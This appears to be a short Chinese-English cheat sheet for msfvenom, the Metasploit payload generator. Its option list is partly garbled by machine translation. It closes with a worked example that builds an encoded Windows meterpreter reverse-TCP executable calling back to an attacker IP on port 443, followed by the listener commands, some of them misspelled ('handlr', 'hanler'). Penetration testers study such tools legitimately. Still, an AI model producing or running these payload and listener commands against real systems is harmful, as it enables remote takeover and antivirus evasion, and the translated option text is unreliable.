MsfVenom - a Metasploit 独立有效负载发生器。

Also a replacement for msfpayload and msfencode.

Usage: /usr/bin/msfvenom [options] <var=val>

选项:

-p, --payload <payload> 有效载荷使用。指定一个有效的自定义载荷

--payload-options 列出有效载荷的标准选项

-l, --list [type] 列出一个模块类型。选项有：有效载荷，编码器，NOP，所有

-n, --nopsled <length> 在一个nopsled [长度]的大小对有效载荷

-f, --format <format> 输出格式（使用-一个列表的帮助格式）

--help-formats 列出可用的格式

-e, --encoder <encoder> 使用的编码器

-a, --arch <arch> 使用的架构

--platform <platform> 有效载荷平台

--help-platforms list available平台

-s, --space <length> 所得到的有效载荷的最大大小

--encoder-space <length> 编码的有效载荷的最大大小（默认值为S的值）

-b, --bad-chars <list> 人物避免实例列表：“x00xff”

-i, --iterations <count> 编码有效负载的次数

-c, --add-code <path> 指定一个额外的Win32文件包括shellcode

-x, --template <path> 指定要使用的自定义可执行文件作为模板

-k, --keep 保存模板行为，并将有效载荷注入一个新线程

-o, --out <path> 保存有效载荷

-v, --var-name <name> 为特定的输出格式指定一个自定义变量名称

--smallest 产生最小可能的有效载荷

-h, --help 显示此消息

实例： （生成）

Msfvenom -p windows/meterpreter/reverse\_tcp -e x86/shikata\_ga\_nai -i 5 -b “\x00” lhost=192.168.11.227 lport=443 -f exe > payload.exe

Msf> use exploit/multi/handlr #用于反向监听的模块

Msf exploit（handler）>set payload windows/meterpreter/reverse\_tcp #选择攻击模块

Payload => windows/meterpreter/reverse\_tcp

Msf exploit(hanler) > show options

Msf exploit(hanler) > set lhost 192.168.11.222

Msf exploit(hanler) > set lport 443

Msf exploit(hanler) > exploit #启用监听